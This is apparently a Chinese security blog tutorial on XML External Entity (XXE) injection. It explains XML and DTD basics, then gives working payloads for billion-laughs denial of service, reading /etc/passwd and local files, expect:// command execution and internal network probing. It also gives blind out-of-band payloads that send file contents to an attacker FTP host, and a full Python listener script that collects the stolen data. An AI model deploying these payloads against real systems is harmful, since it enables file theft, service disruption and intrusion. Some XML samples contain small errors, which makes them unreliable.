0x01 浅谈XXE

XXE是什么

XML External Entity Injection 字面意思 XML外部实体注入,通常被叫做XXE注入漏洞。
在 2013年旧版的 OWASP TOP 10 中被归类为 A4 级别的安全问题 ( A4:不安全的直接对象引用 ).2017年 新版的 OWASP TOP 10 将 2013年 的 A4 级别安全问题和另外一个 A7 级别的安全问题都归类到新版的 A4 中,命名为 ( A4:失效的访问控制)。

产生原理

  前面说到不安全的直接对象引用,即对非安全的外部实体数据进行处理时引发的安全问题,简单来说就是加载了外部的XML数据。而外部的XML数据通常都是攻击者可控的,漏洞的定义则是出现缺陷(可控的参数),一切可控的参数都是不可信的。

XXE的危害

  目前被熟知的,借助XXE,攻击者可以做到如下几种攻击方式

1.拒绝服务攻击(Dos)
2.文件读取
3.执行系统命令
4.探测内网信息

0x02 XML知识

  在利用XXE漏洞之前,还需要掌握XML的基础知识

XML概念

  XML一种可扩展标记语言(EXtensible Markup Language),与HTML超文本标记语言(HyperText Markup Language)类似。XML被设计用来结构化、存储以及传输信息,通过XML可以定义自己的标签。

XML组成

  XML被分成两大部分 标签的定义,标签的属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

以上DTD解释如下
  !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
  !ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading,、body”
  !ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
  !ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型
  !ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型
  !ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型

XML与DTD

  DTD(Documnet Type Definition)即文档类型定义,定义XML文档的合法构建模块,是一种XML约束模式语言,属于XML文件组成的一部分。DTD与XML的关系就像数据库表结构与数据记录(DTD会告诉XML怎么去解析标签)
DTD 文档三种定义形式
1.内部DTD文档
  <!DOCTYPE 根元素[定义内容]>

1
2
3
4
5
6
7
8
9
10
11
//eg:定义在内部
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note(to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
</note>

2.外部DTD文档
  <!DOCTYPE 根元素 SYSTEM “DTD文件路径”>

1
2
3
4
5
//eg:定义在外部 (file_01.dtd)
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT temp (to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>

1
2
3
4
5
6
7
//eg:定义在外部 (file_01.xml)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE temp SYSTEM "file_01.dtd">
<temp>
<to>Beijin</to>
<from>This is From</from>
</temp>

3.内外部DTD文档结合
  <!DOCTYPE 根元素 SYSTEM “DTD文件路径” [定义内容]>

1
2
3
4
5
//eg:内外部DTD文档结合 (file_02.dtd)
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT temp (to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>

1
2
3
4
5
6
7
8
9
10
11
//eg:内外部DTD文档结合 (file_02.xml)
<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE temp SYSTEM "file_02.dtd"[
<!ELEMENT temp (title)>
<!ELEMENT title (#PCDATA)>
]>
<temp>
<tilte>Title</title>
<to>Beijin</to>
<from>This is From</from>
</temp>

其中的SYSTEM表示:加载后面的DTD文件路径,赋值给根元素。


0x03 XML实体

XML实体

  XML实体分为普通实体和参数实体
普通实体:(使用在XML文档中)
  普通实体引入外部实体 (引入方式 &实体名;
参数实体:(只用在DTD的 元素和属性的 声明中)
  参数实体引入外部参数实体(引入方式 %实体名;

eg:

普通实体引入外部实体

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE temp [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<temp>
&xxe;
</temp>


参数实体引入外部实体

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE % temp [
<!ENTITY % a SYSTEM "http://www.d4rksec.org/1.dtd">
% a;]>
<temp>&xxe;</temp>

1
2
//1.dtd
<!ELEMENT xxe SYSTEM "file:///etc/passwd">


0x04 XXE Payload

1.拒绝服务攻击(Dos)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>

递归调用,占用大量服务器资源

2.文件读取
1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE temp [
<!ENTITY xxe SYSTEM "file:///E:/wwwroot/1.txt">
]>
<temp>&xxe;</temp>


3.执行系统命令
1
2
3
4
5
6
7
8
9
10
11
<?php
$xml=<<<EOF
<?xml version="1.0" ?>
<!DOCTYPE cmd [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<c>&xxe;</c>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

expect php扩展协议,该封装协议默认未开启

4.探测内网信息
1
2
3
4
5
6
7
8
9
10
11
<?php
$xml=<<<EOF
<?xml version="1.0" ?>
<!DOCTYPE ss [
<!ENTITY xxe SYSTEM "http://192.168.1.106:81">
]>
<ss>&xxe;</ss>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>



0x05 Blind XXE

  XXE按回显分大致为两种,一种是直接回显,另外一种是间接回显,传统的XXE,要求攻击者在服务器有回显或者报错的基础上才能进行利用,如果没有回显则需要构建一条带外信道提取数据。
攻击思路&流程图
1.发送Payload 1 到 可能存在漏洞的主机
2.如果主机解析了Payload 1 会去请求外部的实体Payload 2(比如我们VPS上的.dtd)
3.而Payload 2的内容则是在漏洞主机获取payload执行返回的结果并再次发送给我们的VPS
4.VPS获取到漏洞主机执行Payload返回的结果
5.攻击者得到回显的内容

Blind XXE Payload

1
2
3
4
5
6
7
//Payload 1 未编码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://www.d4rksec.org/1.dtd">%remote;]>
-
//Payload 1 HTML实体编码后
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!DOCTYPE root [&lt;!ENTITY % remote SYSTEM &quot;http://www.d4rksec.org/1.dtd&quot;&gt;%remote;]&gt;

1
2
3
4
5
6
7
8
9
10
11
//Payload 2 未编码 (1.dtd 内容)
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://d4rksec.org/%payload;'>">
%int;
%trick;
-
//Payload 2 HTML实体编码后
&lt;!ENTITY % payload SYSTEM &quot;file:///etc/passwd&quot;&gt;
&lt;!ENTITY % int "&lt;!ENTITY % trick SYSTEM 'ftp://d4rksec.org/%payload;'&gt;"&gt;
%int;
%trick;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
//VPS监听 FTP的脚本 [Luan ’s Blog](http://lu4n.com)
import socket,sys
ip = 'lu4n.com'
timeout = 1
Buffsize = 10240
if len(sys.argv) == 2:
port = int(sys.argv[1])
else:
port = 21
dtd = '<!DOCTYPE ANY[\
<ENTITY % all "<!ENTITY % send SYSTEM \'ftp://' + ip + ':' + str(port) + '/%payload;/luan\'>">\
]>'
dtd = '\
HTTP/1.1 200 OK\r\n\
Server: nginx\r\n\
Content-Type: application/octet-stream\r\n\
Content-Length: ' + str(len(dtd)) + '\r\n\
Connection: close\r\n\
Accept-Ranges: bytes\r\n\
\r\n\
'+dtd
print '########################################'
print '# XXE Readfile Exploit // Code By Luan #'
print '########################################'
print 'listen on port',port,'\n'
address = ('0.0.0.0',port)
s = socket.socket()
s.bind(address)
s.listen(1)
while True:
ss, addr = s.accept()
ss.settimeout(timeout)
try:
data = ss.recv(Buffsize).rstrip('\r\n')
if data[:5] == 'GET /':
print 'HTTP connect from' , ':'.join(map(lambda x:str(x),addr))
print data
print '\n\n'
ss.send(dtd)
except socket.timeout:
print 'FTP connect from' , ':'.join(map(lambda x:str(x),addr))
ss.settimeout(None)
ss.send('220 Luan\'s Server\r\n')
print 'Data:'
while True:
data = ss.recv(Buffsize).rstrip('\r\n')
if data[:4] == 'USER':
ss.send('200 Ok\r\n')
elif data[:4] == 'TYPE':
ss.send('200 Ok\r\n')
elif data[:4] == 'SIZE':
ss.send('200 Ok\r\n')
elif data[:3] == 'CWD':
sys.stdout.write(data[4:].rstrip('/luan'))
if '\n' not in data:
sys.stdout.write('/')
ss.send('200 Ok\r\n')
elif data[:4] == 'EPRT':
lan_ip = data.split(data[5])[2]
print '\n================================='
print 'Got IP =>',lan_ip
ss.send('200 Ok\r\n')
else:
ss.send('666 Luan\r\n')
print '\nspecial command received:',data
print '\n\n'
break
ss.close()
s.close()


参考:

http://www.freebuf.com/articles/web/97833.html
https://security.tencent.com/index.php/blog/msg/69
https://bbs.aliyun.com/read/570137.html?utm_content=m_35494
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing